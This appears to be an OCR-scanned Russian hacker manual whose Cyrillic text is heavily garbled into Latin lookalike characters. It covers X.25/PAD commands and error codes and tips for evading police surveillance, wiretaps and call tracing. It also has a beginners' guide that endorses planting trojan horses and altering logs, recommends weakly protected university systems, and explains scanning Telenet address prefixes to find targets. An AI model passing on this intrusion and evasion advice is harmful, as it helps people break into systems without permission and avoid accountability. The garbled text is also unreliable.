MHGbOPMAIMIO WIX TIPUHUMATD €€ OT IPYTMX abOHEHTOB WJIM XOCT-MallIvH.
J17151 9TOTO B CETH yCTaHABJIMBAETCS BpeMEeHHas JIOTUYECKast CBSI3b MEXY OTH -
MM abOHEHTaMH, Ha3bIBaeMasi BUPTyaIbHbIM coequHeHreM. [locie ycTtaHOB-
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JICHUST BUPTYAJIBHOTO COCIMHEHUST MEXITy aOOHECHTaMU MOXKET MPOMCXOINUTh
0OMeH JTaHHBIMU OTHOBPEMEHHO B IBYX HaNpaBICHMSX (IYIUIEKC), PUIEM
3amepKKa IepeIavyr MakKeToB TaHHBIX He TIPEBBIIIAeT MOJICH MM HECKOJIBKIX
CEKYHI B 3aBUCHMOCTH OT 3arpy>KeHHOCTH CETH.

TepMUHOAOINS
NUA

(Network Users Address/CeteBoit Anpec IToab3oBatesst)

Yuco, 3amaioniee ceTeBOM aapec MoJIb30BaTes.
NUI

(Network User Identificator/Mnentucdukarop CereBoro ITonab3oBa-
TeJIs1)

Kon nmoctymna u maposb. OOBIMHO MPEIOCTABISETCS MOCTABIIMKOM Ce-
TEBBIX PECYPCOB U UCITOIB3YETCS TSI ONpeIeIeHUST OTUTATHI 3a YCIYTH.

DNIC
(Data Network Identification Code/Kon nuneHTudukammm cetn)

IpencrapnsteT u3 cebs 4 MbPBI, KOTOPHIE B TIOJTHOM CETEBOM ampece
3a0al0T KO CETU TaHHBIX.

PAD
(Packet Assemble Disassembler/CoopInK,/pa3oopiinK makeToB)

YcTpoiicTBO, MO3BOJISIIONIEE C TIOMOIIBIO OOBLIYHOIO TepMUHaja pabo-
TaTh C CETSIMU KOMMYTAIIMW MaKEeTOB, T.K. TEPMUHAIbI MepenaloT He OJOKU
JAHHbBIX, & CUMBOJIbI.

Pab6ota c X.25

st paboThl ¢ X.25 TpedyeTcs TepMUHAaIbHAs IporpaMMa (HarpuMep
Telemate wiu Telix). [To3BoHMB MogeMOM Ha OJMXKAWUIIMI y3€1 CETU TTaKeT-
HOIf KOMMYTallUM, BbI MoAKI0YaeTech K [TAJI, KOTOPBIi MoJydaeT CUMBOJIBI
IUTS TIepeau Mo ceTh U (popMUpYyeT U3 HUX MAKeThl, a TAKKe BBITTONHSIET U
0o0paTHyI0 orepalnuio pa3dopKu MakeToB U Mepeaayd CUMBOJIOB Ha TEPMU-
HaJ.

CeTH MakeTHOI KOMMYTALIMU SIBJISIIOTCS TPAHCIIOPTOM, TO3BOJISTFOIIIUM
BaM paboTaTh CO MHOTMMM CUCTEMaMM, KOTOPbIe K HEMY TMOJKIIIOUeHBI. JIJist
9TOr0 HEOOXOUMO 3HATh aIPEC CUCTEMbI, C KOTOPOI BbI MpenosaraeTe pado-
tath. KpoMe Toro, 60JIBIIMHCTBO CUCTEM CHAa0OXEHO CpeACcTBaMM UACHTU (M-
Kalluu TI0JIb30BaTeNIeH, T.e. TPeOYIOT IJIs1 pabOThl ¢ HUMU MMS_T0JIb30BATES
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¥ mapoJib. DTO CBA3aHO, B IIEPBYIO 0Yepellb, C PEBEPCUBHOI OIUIATOM CETEBBIX
YCIIYT — BJIameJTbIbl TIOAKITFOYSHHOM K CETH CUCTEMBI TUIATST IpoBaiinepy 3a
BpeMsI COeIMHEHUS TI0JTh30BaTeJIel C Heid, a 3aTeM MOTYT OpaTh C ITOJIb30BaTe-
JIeH TJIaTy 3a MPenoCTaBIsIeMble YCITYTH.

Pa6ota c NAA

Pa6ota nonw3oBates ¢ [TAIl mporcXoauT B ABYX peXMMax: B KOMaH/I -
HOM U mepeaauu AaHHbIX. B Hayase cBoeit paboThl ¢ I1A]l, moab3oBaTelb Ha-
XOAMUTCSI B KOMaHAHOM pexxume. [Ipu ycTaHOBJIEHUU COeAMHEHMS, TTOJIb30Ba-
TeJb TIEPEXOAUT B PEXUM Mepefaur AaHHbIX. B pexume nepenauyn TaHHBIX
MPoUCXoaUT oOMeH MHdopMalueil ¢ ynaaeHHbIM pecypcoMm. [Ipu HeoOxomu-
MOCTU HemocpeacTBeHHoro B3aumoneiicteust ¢ [1O ITAJl nmonab3oBaTesib MO-
JKET TIePeTH B KOMaHIHBIN pexkKuM, BBellsi CUMBOJI BHUMaHMSI — KakK TpaBu-
1o, CTRL-P. B koMaHOIHOM peXuMe I0JIb30BaTeb MOXET MCIOJIb30BaTh
cieaylone KOMaH/Ibl:

. CON — ycTraHOBJIEHHE COeTUHEHMS yepe3 ceTh X.25;

* LOC — ycraHoBieHME JIOKAJTBbHOIO COSAUHEHNS

* CLR — pa3phbiB COeIUHEHMS;

* PAR? — mpocMOTp TeKylimx 3Ha4YeHU i napameTpoB X.3;

* SET — ycraHoBJIeHHe HOBBIX 3HaUeHMI1 MapaMeTpoB X.3;

* SET? — ycTaHoB/IeHME HOBBIX 3HaU€HU mapaMeTpoB X.3 U ux
MPOCMOTP;

* PROF — ycraHoBiieHe HOBBIX 3HAYEHUI COBOKYITHOCTI
napaMeTpoB X.3;

* INT — mochuiKa CpOYHBIX TaHHBIX;

* RESET — cbpoc coenvHeHMs;
* STATUS — Tekywmii cTaTyC COeIMHEHMSI.

B otBeT Ha KomaHAbl nojb3oBatesst 1A/l BbigaeT AMarHOCTUYECKUE
COOOIIEHUS:

* OM — coenmHEHNE YCTAHOBIICHO;

* ERR — cuHTakcnyeckas onnoka B KOMaH/IE,

* RESET — Bo3MoHast TOoTeps JTaHHBIX Ha TTAKETHOM YPOBHE;
* FREE — otrBet Ha komanzay I[TAJl STATUS npu oTcyrcTBUM

COCOIMHCHMNA,
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* ENGAGED — otBet Ha koMaHny [TAl STATUS nipu
YCTAHOBJIEHHOM CO€JMHEHWU;
* CLR CONF — pazbenHeHUe BBITIOJIHEHO;
* CLR — yHIuKauus pa3beAMHEHUs 110 OOTHOM U3 CAEAYIOIINX
TIPUYMH:

L 2R K R JER JER JEE JER SRR JEE JER 2K 2ER 2R IR JER JEE 2N SR SR JER R R R 2

0 DTE — ynanennsiit DTE pazopBai coenuHeHue;
1 OCC — HOMEep 3aHSIT;

3 INV — HenpaBWIbHBII 3aIIPOC CPEACTB;

5 NC — ceTb IeperoHeHa;

9 DER — kaHaj HeuCIpaBeH;

11 NS — moctyr 3anpelieH;

13 NP — Hert nocryma,;

17 RPE — ynanenHas npoueaypHas OlI1oKa;
19 ERR — mecTHas npoiienypHas omoka;

21 PAD — pa3zsenunwmn mectHbIi [TA/;

25 NRC — HeT peBepCHUBHOI OILJIaThI;

33 INC — HecoBMeCTUMBII aJipec Ha3HAUYCHUSI;
41 NFC — Het ObICTpOIi BBIOOPKH;

128 DTE — kaHnai 3ape3epBUpOBaH;

129 DTE — ymanennsiiit DTE He rotos;

130 DTE — xaHaJ ABIsSE€TCS UCXOASIINM;

131 DTE — DTE pa6oraet o npotokoiy X.28;
132 DTE — DTE otcoenuHeHo;

133 DTE — DTE HenocTyImHo;

134 DTE — kaHas He CyIleCTBYET;

135 DTE — kaHan pecTtapToBaH;

136 DTE — Her cBs3u 1o X.25;

137 DTE — aapec ynanennoro DTE He cyiiecTByeT;

138 DTE — HeT BUpTyaJIbHOTO KaHaa.
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AnaBa 1.
MUcKyccTBO B3AOMA

XaKWHT — 3TO MCKYCCTBO B3JIOMa BCEBO3MOXHBIX CUCTEM U JIOBEACHUS
JIAHHOTO MpolIecca A0 BHICOT TEXHUUYECKOTO M3AIIECTBA. XaKep BOOpyXkaeTcs
pPa3INYHBIMU METOIMKAMM, MCXOMASl U3 KOTOPBIX OH CTPOUT COOCTBEHHYIO
CTpaTeruio B3jioMa TOM WJIYM MHOU IporpaMMbl. 3ayeM ke ObITh xakepoMm? Bbl
HaBepHsKa HaineTe ais cedsl HECKOIbKO MPUUMH. [T HEKOTOPBIX, HAIMpPH-
Mep, 3TO B MEPBYIO oUepeab MPOCTO MpekpacHoe pa3piedeHue. Ho ceituac 3a-
HUMAaTbCSl XaKMHTOM CTaHOBUTCSI BCe OoJjiee OMacHO, TO3TOMY OYIbTe OCTO-
POXHBI, JaXe eCAW Y Bac HET MPOTHBO3aKOHHBIX HaMepeHUi. DTO ouyeHb
TPYIOEMKOE M K TOMY X€ PUCKOBaHHOE jefo. Tak 4yTo OyabTe BHUMATEIbHbBI
U HE NonaguTech!

AaBa 2.
Kak He nonmaTtbcs

Kn3Hp mpekpacHa, TOJIBKO KOTJa Bhl He ITONafgacTeCch B pyKH CIIEII-
ciryk0. KoHeyHo ke, 3TO 3aBUCUT OT TOr0, YeM MMEHHO BBl 3aHMMaeTech. Ho
MOXET IOJIYYUTLCS TaK, YTO BBl BCE PAaBHO IOIAaIeTeCh, HECMOTPsI Ha OecIipe-
KOCJIOBHOE BBITIOJIHEHE BCEX HAIITUX PEKOMEHIAIIIA.

HexoTopsie omnepaTophl CITELCTYX0 M0 OTYIEeHWsT HACTOMYMBBI M HE
OCTAHOBSTCSI HU TIepe]T YeM, UTOObI BBIYMCIIUTD M TTPUXKATh Bac K cteHke. U ec-
JIM, KaK TOJIBKO BBl OepeTe TpyOKy TenedoHa, MTrHOBEHHO MOAKIIIOYAIOTCS MO-
JIEMBbI, W €CJIN J0 Bac AOXOIST CIyXH, UTO IPY3bsI-TMIPUSITEIN Ha3bIBAIOT BaC
«XaKepoM, Ha cJiell KOTOPOTO Harllajiu CIELCTYXObI», TO MBI IIpejaraeM Bam
3aTauThCs Ha KaKOe-TO BPEMsI M HE 3aHUMAThCS B3JIOMOM.

CYH.[CCTBYCT HECKOJIbKO OCHOBOIIOJararommx MOMEHTOB, KOTOPbIE
00s13aH 3HATh KaxKabIi MUCMOJIB3YIOIIMI MOJIEM TIPU KOMIIBIOTEPHOM B3JIOME.
MbzI nocuuTaa He0OOXOIUMBIM BKJIIOUNTh UX B 9TY KHUTY IJIsl TOTO, YTOOBI BBI
HHM B KOEM CJ1yya€ HE YIIyCTUJIN UX U3 BULY. Bbl MoCTOSTHHO TOJXKHBI OBITH HA-
YEKY U CJICAUTH 32 MOSBJICHUEM TaKUX HACTOPAXKMBAIOIIMX SIBJICHUM, KaK:

1. HeoObruHbIE 11IyMbI HA TUHWUM, TIPU TOM, YTO OOBIYHO MX HE ObIBaET.

2. 1o TeneOHHOM JIMHUU TIPOCIIYILIMBAIOTCS IPYrUe ToIoca.
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DTO MHOTAA Cily4aeTcsl co ctapbiM obopynoBaHueM FDM, HO MoxeT
OBITh BEI3BAHO U OTBETBJICHUEM ITPOBOJIA, TAK YTO OYIBTE OCTOPOXKHEI!

3. INosBneHue ¢yproHa wim MUHU(pYproHa, NpUNapKoBaHHOTO psi-
JIOM C:

a) TeJe(OHHBIM CTOJIOOM;
0) MOA3eMHBIM MMAPOBbIM BEHTUJISILIMUOHHBIM OTBEPCTUEM;

B) CJIEIUTE 3a MOSIBJICHUEM OKOJIO TeJIe()OHHBIX CTOJIOOB M BEHTUJISIIIN -
OHHBIX OTBEPCTU TPSIIIOK MJIM KyCKOB TKaHU ¢ cuMBoymkoii MA BELL.

D710 noJsiHbIN KoHel! Eciu Bbl 3aMeTUIN YTO-HUOYIb U3 BbIllIeyKa3aH-
HOI'0, HEMEJIEHHO TMpeKpalllaiTe BCe YIIPaXHEHUS 110 KpaHel Mepe Ha Me-
csiu. U 06s13aTenbHO yOeaAUTECH B TOM, YTO (DYypPrOHbI yexaiu, a He IIPOCTO I10-
MEHSLTA MECTO TTAPKOBKU.

OO6paTuTe BHUMaHWE Ha MPOBOJA, MPOTAHYTHIE OT (hyproHa K Teje-
(oHHOMY CTOJIOY MW BEHTUISILIMOHHOMY OTBEPCTHIO, M Ha LIBET, B KOTOPHIii
BbIKpaliieH ¢pyproH (00bIYHO (yproHbI Crielcyk0 6esoro 1iBeta). Takxke cie-
JIyeT BBISICHUTh, He TIPUHAIJIEXKUT JIK OH (T.€. PYyproH) TeaedOHHOI KoMIa-
1307078

4. Hannuune He3HAKOMOToO BaM 00OPYIOBaHUS B HEXWJIBIX KOMHATax
Balllero JoMa 00513aTeIbHO JOKHO BaC HACTOPOXUTD.

5. C Bameit TesleDOHHOM JIMHUEH TTPOUCXOIUT YTO-TO CTPAHHOE, U BBI
YBEPEHBI B TOM, YTO COCEAM HE MMEIOT K STOMY HMKAKOT'O OTHOIIEHUSI.

B uenom 310 Bee, 0 yeM Mbl XOTeIu Obl TIPEAyIpeIuTh Bac, HO, KOHEY-
HO €, CYIIECTBYET ropasio 00JIbliie TTOI03PUTENIbHBIX SIBJICHU, KOTOPbIE MO-
T'YT MPEeAYIPEAUTD BaC O TOM, UTO CITELICTY>KObI Haraay Ha Balll CJIe/l.

hasa 3.
OTBEeTBAEHNS NPOBOAC

Ha cerogHsiHuii ieHb 3TOT CMOCOO BBIUMCAEHHUSI XaKePOB OCTAETCS
caMbIM pacipocTpaHeHHbIM. MBI MpeajiaraeM Jyuliee pyKoBOJICTBO IS TeX,
KTO XOUET BBISIBUTH SIBHOE OTKJIOHEHUE MPpoBoJa. Ec/ii Bbl B COCTOSIHUU MO3-
BOJIUTH ceOe MPUOOPECTH COOTBETCTBYIONIEE 000OpYIOBaHUE, TO CMOXKETE 3a-
HMMAaTbCS TEM, UYTO HA3bIBAETCSl «UUCTKa» TeaecoHHOM JuHUU. Ele Bbl MO-
XKeTe coopaTh MpudOp, MoKa3bIBAIOIIMK HanpsikeHue B ceTu. Eciu Bo Bpems
Tesie(hOHHOTO Pa3roBopa HaIpsLKEHUE Pe3KO MajaeT, TO 3TO 03HAYaeT, YTO OT
Ballero tejecoHa OTBETBJIECH MPOBOJA WJIM KTO-TO MOAKIIOUMWICS K JIMHUMU.
Huxe npuBeneHbl BO3MOXHBIE ITOKa3aHuUs IIpubopa.
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Hanps)xeHue, KOTOpoe AOAKHO HOCTOPOXUTb BOC
90V nipu 20-30Hz

Ha AvHUM
30-50V

CpeaAHee HanpsXeHune

600V. OcropoxHo! B MomeMe MoxeT cropetb MOV. OOBIYHO MpHU Ta-
KOM HamnpsikKeHuu TejedoHHas ceTh HeMCIpaBHa.

Kak nipaBuiio, y crieLicityk6 HeT He0OX0AMMOro 000PYI0BAHUS ISl TO-
ro, 4ToOBI CIEAUTH 3a BAalllMM KOMITBIOTEPOM C ITOMOIIBIO OTBOAA IPOBOJA,
1, VK KOHEYHO Xe, BPSIIL JIM Y HUX OyIeT 6a3a JaHHBIX C BAIIMM NMEHEM.

fAaBa 4.
OnpeaeAeHne Homepa TeAedPoHa

Crenciy>K0bl CIIOJIB3YIOT ellle OOUH CIIOCO0 OoIpenesieHUsI MeCTOHa-
XOXIeHMs Xakepa. Ha ceromHsAIIHMI IeHb BEIYMCIEHWE TeIe(OHHOTO HOMe-
pa cTajo DOCTYIHBIM IpakThuecKu sl Bcex. HemaBHO ObUIO 0OHApyxXeHO,
YTO ecii HabpaTh 33 Ha HEKOTOPKIX TeJaedoHaX, TO Ha anrapaTe BHICBETUTCS
HOMep MOCJIeTHEro 3BOHKA.

W MBI yBepeHBI, 9TO MOJTHITUS OYIET ITOJIb30BaThCst MIMEHHO TAaKIMU Te-
JechoHaMU TSI BBIBOZIA Bac Ha YMCTyIo Bomy. Ho Bce 3TO, B OCHOBHOM, Kaca-
eTcsl paaroTeaeoHOB, a He OOBIKHOBEHHBIX TOPOACKUX JIMHMIA. Pagunorene-
(oHHas cBsI3b Beera ObUTa M3BECTHA CBOEH HalleXXHOCTBIO, HO, KOHEYHO Xe,
He ceityac... [ToTomMy 4To Takast TeJiehOHHAsT CTAHITUS — OIXHO M3 CAMbIX JTIyd-
IITMX MECT JIJIs 3aHSATHiII XakuHToM. Ho 3akiimHaeM Bac, He MpeanpuHuMaiTe
HHMYETO TTOJOGHOTO B CBOEM COOCTBeHHOM foMe! CaMoe TTOmXosIee BpeMst
IUTSI XaKWHTa — HOYb, KOTHA IEXKYPHBI OIepaTop CIEICTYX0 HaBepHsKa
CITHUT.

naBa 5.
CuutbiBaHue RFI

DTO OIMH U3 HOBEUIIIMX CIIOCOOOB BBEIYMCIICHUS XaKePOB, I MBI a0CO-
JIIOTHO YBEPEHBI B TOM, YTO YK €ro-TO BaM OOSITbCSI He CTOUT. [ BBITTOJTHE -
HUS OH CJIMIIIKOM CJIOKEH M K TOMY Xe He Bcerna cpadarbiBaeT. OCOGeHHO ec-
JIA BBl HAXOAUTECh B OKPYKEHUU TEJIEBU30POB U KOMITHIOTEPHBIX MOHUTOPOB.
CuuteiBanue RFI ocymecTBisieTcs: ¢ IIOMOIIBIO YCTPOMCTBA, KOTOPOE JIOBUT
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ciTabble PaarovyacTOTHl Balllero MOHUTOPA M TTEPEBOMUT UX B BUIECOCUTHAITHI.
W ecnu 310 cpabaThiBaeT, TO OiepaToOp BUANT Ha CBOEM KOMITbIOTEpE U300pa-
JXEHUE C Balllero MOHUTOpA. Bce 310, KOHEYHO, BIieYaTisieT, HO CHavaja mycTh
oriepaTop IoiimMaeT Baml curHa!

AaBa 6.
ESS

Ko Bcem HammM pamoctsiM IpubaBiisieTcsl emie omHa — Electronic
Standardized Switching (mumn ESS), ¢ yymecamMu KOTOpPOTro MBI BCE XOPOIIO
3HAKOMBI. BBl TOMHUTE pe3Koe MOBBIIIEHKE 1IeH OKOJIO rofa Ha3an? «B ctpoit
BBeJicHA HOBasl KOMITBIOTEPU3MPOBAHHAS CHCTEMa, KOTOpasi pa3rpy3uT Bally
TeseOHHYIO JINHUIO». Bpanbe! EquHCcTBeHHAS IIE/Ib 9TOM CUCTEMEI — JIOBUTh
XaKepoB. DTO eIMHCTBEHHOE, JIJIST YeTO OHa MpeAHa3HaueHa, U HAlo CKa3aTh,
YTO AeJIaeT 3TO OHAa OYeHb W O4YeHb Herioxo. C ee MOMOIIbI0 TeaehoHHas
KOMITIaHUSI MOXET BBIYMCIIUTD JII000i1 HOMep 3a 55 cekyHn. B cucreme peruc-
TPUPYIOTCS 3aIUCHU BCeX 3BOHKOB, B TOM 4ucie M MecTHBIX! M maxe eciu Te-
Jle(DOHHBIN anmapar HeMCITpaBeH, TO Ballla MOTBITKA ¢ HETO Ky/la-TO TT03BO-
HUTH CTAHET TYT Xe M3BecTHA mojununu. Ho He mamaiite myxom! ESS eme He
KoHell cBeTa. UTo ObI TaM HM M300peId Ha HAIIly TOJIOBY, MBI KaK 3aHUMAJINCh
XaKWHTOM, TaK 1 0yneM. M, BoamoxHo, B3tomars ESS OymeT Tak xxe mpocTo,
Kak U CTapylo TeJle(OHHYIO CUCTEMY.

ITpekpacHo! BBoaHbI Kypc 3aKOHUYEH!
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PyKOBOACTBO
AAS HOYUHAIOLLUX

'AnaBa 1.
OnacHo!

Ilocne paccMoTpeHMsI IOBOJBLHO OOJBIIOIO MaccuBa MHMoOpMau
MpUBJIeKAeT BHUMAaHUE TOT (PaKT, YTO HUKOTAA HE CYIIECTBOBAJIO XOPOIIETO
nocoOus, HaMMCaHHOTO JJIsI aOCOJIOTHBIX HOBUYKOB.

K coxaieHuio, ObITh XaKepPOM CTaJI0 TOPa3ao oracHee, YeM B Havaje
BOCBMUIECATHIX: KaK Mbl YK€ FOBOPUJIM BBbILIE, Tele(OHHBIE MOJULEHCKIE
HMEIOT 00JIbIlIee KOJMYECTBO PECYPCOB, 0OJIbIIIee MOHUMAaHKE 1 GOJIbIIUI NH-
TEJUIEKT, Y€M OHU IMOKa3auu B npolioM. CTaHOBHUTCS Bce GoJiee TPYIHO OC-
TaThCsl B XMBBIX KaK XaKep JOCTATOYHO JOJIT0, YTOOLI CTaTh KBAIA(DULMPO-
BaHHBIM B 3TOM MCKYCCTBE.

HaHHaH KHUTAa Nnp€aHasHadY€Ha B IIOMOIIb TEM, KTO TOJIbKO HAYMHACT
CTaHOBUTLCA HaA 3TY CTC310.

hnaBa 2.
J1KKa

IToka cymecTByeT KOMIBIOTEP, CyLIECTBYIOT xakepsl. B 50-x romax
B MaccayyceTCKOM MHCTUTYTe TexHosoruu (MIT) cTymeHThI TOCBSITUIN MHO-
IO BpEMEHU U SHEPTUH N300peTeHUIO KOMITbIoTepoB. [IpaBriia 1 3aKOH UTHO-
pupoBaIHCh. Tak e, KaK MX MPUBEJIU B BOCTOPT UTOTH MCCIIENOBAHUMI, TaK
HaIlIW MUCCIIeIOBaHUSI TPUBOIAT B BOCTOPT Hac. TopKecTBO Xakepa — He B Ha-
PYIICHWM 3aKOHa, a B BOJHYIOIIEM IPOIIECCe MUCCIeNOBAHUS U HAKOTUTCHUS
3HaHU. XOTUM JIaTh HECKOJIBKO PEKOMEHIAIINIA, KOTOPBIX CIICAYeT IIPHICP-
SKUBAThCS TSI TOTO, YTOOBI HE TOJIBKO He ITONAcTb B HEMPUATHOE MOJTOXEHHE,
HO 1 YTOOBI HE MIOBPEIUTh T¢ KOMITBIOTEPHI, KOTOPBIC CTAHYT OObEKTOM Ballle-
rO MPoGheCCUOHATPHOTO BHUMAHUS.

* He BpE€AUTb NPpECAHAMECPCHHO HN OJHOI CUCTEME.
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. He n3MeHATh HUKaKUX CHCTEMHBIX (haiiJIoB, KpOMe
HEOOXOMUMBIX BaM JUIST JATBHEUIIIETO TOCTYIA (TPOSTHCKUE
KOHM, U3MEHEHUST B CTAphIX JIOTaX M T.II.)

* He ocraBnsiTh HUKaKMX HACTOSIIIIMX JAHHBIX B CUCTEMaX,
B3JIOMaHHBIX BaMU (TTepej] UCITOIb30BaHEM HOBOTO
MPOrpaMMHOTO MPOAYKTA MO B3JIOMY HEOOXOIMMO TTPOBEPUTH,
He ocTtaBjsieT Jiu oH Baul ID taMm, rie Bbl TOOBIBAIN)

* He ocTaBnsTh Balll peajibHBII HOMep TeleoHa HUKOMY, KOTO
BBl HE 3HaeTe.

* He TporaTh npaBUTEILCTBEHHBIE KOMITBIOTEPHI.

* HaxoHel1, BbI TOJKHBI (PaKTHUECKU TIOHSITh, YTO BBl MOXETE

MPOYECTh BCE TTOCOOUSI B MUPE M TIPOCIIBITH 3HATOKOM, HO MOKa
BBl HE HAUHETe peabHO paboTaTh, BCe BaIllM 3HAHUST PaBHBI
HYJTIO.

OnHO U3 caMbIX 0€30MaCHBIX MECT JJIs1 Hauajla XaKepcKoi Kapbepbl —
KOMIIBIOTEpHAsl CUCTEMA MHCTUTYTA. Y HUBEPCUTETCKHE KOMIIBIOTEPHI UMEIOT
c1abylo 3allMTy U YaCTO MCIMOJb3YIOTCS XaKepaMu: MTOCKOIbKY KaXIblil KOM-
MbIOTEP MCIOJIb3YETCS MHOXECTBOM JIIONIE, MaJIOBEPOSTHO, YTOOBI Bac pe-
aJbHO BBIYMCIIUIN CPEAU I03€POB, €CIIU Bbl OBLIU OOHAPYKEHBDI.

AaBa 3.
TeAneHeT

Jlydriee MecTo IS TPEHMPOBOK HAYMHAIOIIETO XaKepa — OfHA M3
oosbinx ceteit Tuna Telenet. TTouemy? Bo-mepBbIX, Ha ceTsIX MMeeTCs OT-
pOMHOE pa3HoOOpa3re KOMITBIOTEPOB, €CTh M3 Yero BhIOMpaTh. Bo-BTOPHIX,
CETH JIOBOJIBHO XOPOIIIO TTPOIOKYMEeHTUpOBaHbI. [Ipolie HallTH KOTro-To, KTO
MOXKET MTOMOYb BaM ¢ npobsemoit Telenet, yeM McKaTh MMOMOIIU OTHOCUTEb-
HO Balllero MECTHOTO KOMITbIOTepa KOJIIeIKa WU CpelHell Kokl TpeThe,
cetu 6ojiee Ge3ormacHbl. M3-3a orpoMHOTO Yrciia 3aIIPOCOB, KOTOPHIE IIPOXO0-
JIAT KaXKIbIA JCHD 110 GOJIBIITUM CeTAM, (PaKTUIECKU TSIKEJIO OTCICIUTD, OTKY-
Jla ¥ KaKoi1 3ampoc crenaH. Takke 04eHb IPOCTO MACKAPOBATH Ballle IIPOHUK-
HOBEHME, MCMOJIb3YsI CEeTh, KOTOpas JejiaeT Balle Xo00u HamMHoOro Oojee
0e30IMacHbIM.

Telenet umeeT Oosblee KOJUYECTBO KOMIIBIOTEPOB, COEAMHEHHBIX
B CE€Tb, UeM JII00as Ipyrasi cucTeMa B MUpe, OT Telenet Bbl MOXeTe UMETh J10-
cryn K Tymnet, [taPAC, Janet, DATAPAC, SBDN, PandaNet, THENET
U 11eJIOMy HabOpy APYTUX CETei.
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[epBolif 111ar, KOTOPHIN BBl JOJDKHBI CHENaTh, — WACHTUMDUIIMPOBATH
Balll MECTHBIX MOPT J03BOoHA. CHavajia BbI TOJYYUTE MTOACKA3KY, TOBOPSIIIYIO:

TEPMUHAN=

DT0 — Bai type TepmuHaia. Ecim Bel uMmeete vi100 smysimio, Harme-
yaTtaiTe 3TO B OTBET Ha 3arpoc. Mau HaxkMKUTe BO3BpAT, U OHA CTAHET CTaH-
JIApTHOM YCTAHOBKOM JUISI peXXrMa TepMUHAJIa BBOAA-BbIBOJIA.

Teneps BbI MOJIyYUTe MOACKA3Ky B BUIE 3HauUKa @. B oTBeT Hameua-
TaulTe:

@c mail <cr>

u 3aTeM Oynet 3anpoc 00 MMeHH ToJb3oBaTesis. Beeaute «phones» ms
“MeHM Tosnb3oBaresss. Korma cucrema 3ampocuT maposib, BBEAUTE CHOBA
«phones». HaunHasi ¢ a3Toro MmomeHTa, 3T0 — ymnpasisiemoe MeHio. Mcromb-
3yiiTe ero, 4ToObl onpeAeanTs Bai ooumii dialup. Korma BbI BhI3bIBacTe Balll
local dialup, BHI e1ie pa3 npoiinere 3anpoc

TEPMUHAN=

U ellle pa3 BbI OyIeTe MpeacTaBiIeHBI Iepel @. DTa moacKas3Ka coooIa-
eT, uyTo B coenmHeHbI ¢ Telenet PAD. PAD o6o3Havaet uinu Accemb:iep,/nu-
3acceMOyep makera (€ciaud BbI TOBOPUTE ¢ MHXeHepoMm), i Public Access
Device (ecim BBl TOBOpUTE C IIpeAcTaBUTEISIMU MapKeTuHTra TeneHera). [lep-
BOE OIMKMcaHue 6oJiee TIPABUIBHO.

Telenet paboTaeT, codupasi JaHHbIe, KOTOpble Bbl BBoAUMTe Ha PAD,
C KOTOPBIM BbI COEIMHEHBI, CBSI3bIBasi MH(OPMALIMIO B KyCcKM 110 128 6aiiToB
(00BIYHO, HO LIM(ppa MOXKET ObITh U3BMEHEHA) U 3aTeM IepeaaBast UX Ha CKOpO-
ctu B mipeneiax ot 9600 no 19 200 6oxa Ha apyroii PAD, KOTOpHIi MoJTydaeT
JIaHHbBIE U TIEpeIaeT UX KOMIIbIOTePY WM CUCTEME, C KOTOPOI MMEETCsI COeIu -
HeHue. M3HayanpHo PAD mo3BosisieT coemMHUTh ABa KOMIbIOTepa, KOTOPhIe
HMMEIOT pa3IMuyHble CKOPOCTU UM MPOTOKOJIBI CBSI3W, HA IJIMHHOM PacCTOsI-
Huu. MHOTIa MOXXHO 3aMETUTD 3aMa3iblBaHUe B OTIAJIEHHOM OTBETE MAIIIMH.
D10 Ha3bIBaeTcs 3adepackoii PAD v mpeaqHa3HAuYeHO JUISL OXKUIAHUS, TIOKA BbI
MolUIeTe JaHHbIE Yepe3 HECKOIbKO Pa3IMYHbIX IMHKOB.

Yro BHI fenaere ¢ 3tuM PAD? Bol ncnionb3yete ero, 4To0bl COETUHUTD-
Csl ¢ OTIAJICHHBIMU KOMITBIOTEPHBIMU cUCTeMaMU, TieyaTast «C» IJ1s1 coennHe-
Hus u 3ateMm CeteBoit Anpec [Tonb3oBarenst (NUA) cucrteMsl, K KOTOPOMl BbI
XOTUTE UITH.

Ecnu HeT BO3MOXHOCTHU COCOAMHCHMNA, BbI ITIOJIYYUTE COOOILIEHHE TUIIA

refused collect connections

B COITPOBOXXICHHMY KOIOB OIIMOKY, MAYIIUX CIIpaBa, U CUCTEMa BEpPHET
Bac B @ prompt.
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HMmMetorest aBa myTH, YTOOBI ABUTAThCS B 00X0 coobiieHust — Refused
Collect. IlepBriit — ucnonb3oBaHue ceteBoro ID monb3zoBatenst (NUI).
NUI — 310 nMd nosb3oBaresis/pw KOMOMHALIMSI, KOTOpast IeMCTBYET MO100-
HO KPEeIMTY MO OTKPHITOMY cueTy Ha Telenet.

Btopoii croco® coenuHeHUsI COCTOUMT B TOM, YTOOBI MCIOJIb30BATh
yacTHblii PAD unu yepes uro-HubOyap nomooHoe Netlink ot ['maBHOTO KOM-
nbtotepa. [Ipeduxc B Telenet NUA yacto (HO He Bcerjga) OTHOCUTCS K TeJie-
(oHHOMY KOy ropoa, Tae HaxXoAuTCsl KoMmbioTep (To ecTh 713 xxx 0003Ha-
yajjo Obl kKoMmmboTep B XbiocToHe, Ilrat Texac.) Eciu wumeercs
creunduyeckas ob1acTh, MHTepecylolas Bac, ckaxeM, Hpio-Mopk (kox
914), BbI MOXeTe HaOpaTh:

@C 914 001 <cr>

Ecnu coeqviHeHHe TIPOIIIO, BhI MOJIYYUTE COOOIIEHHE 06 3TOM U TTe-
peiinete K 914 002. [Jenaiite 3T0, ITOKa HE HaWAETe KAKMX-JIMOO MHTEPECHBIX
CHUCTEM JUISl 3aHSATHUS UMMU.

He Bce cucteMbl HaxoASITCS Ha TIPOCTOM XXX Yyy agpece. Hekotopsle
COCTaBJIEHBI U3 YeThIpeXx Wi Nty mudp (914 2354), a HEKOTOpbIe UMEIOT Jie-
CSITUYHBIC WX YUCIOBEIe pacmmpeHus (422 121A =422 121.01). Ber moxeTe
3aHUMAThCSI UMH, HO BB HUKOT/IA HE 3HAETE, YTO BBl MOXeTe HAWTH.

IlonHoe ckaHupoBaHuUE IpeduKca 3aliMeT AeCITh MUUIMOHOB Bapu-
aHTOB. Hanpumep, ecim Hy>KHO MPOCMOTPETh 512 MOJIHOCThIO, TO HEOOXOAM -
Mo Hayatb ¢ 512 00000.00 u nipotitu g0 512 00000.99, a 3aTemM yBeIMUUTD -
pec Ha 1 u mpoittu ot 512 00001.00 mo 512 00001.99. BeckoHeuHoe
CKaHupoBaHue!

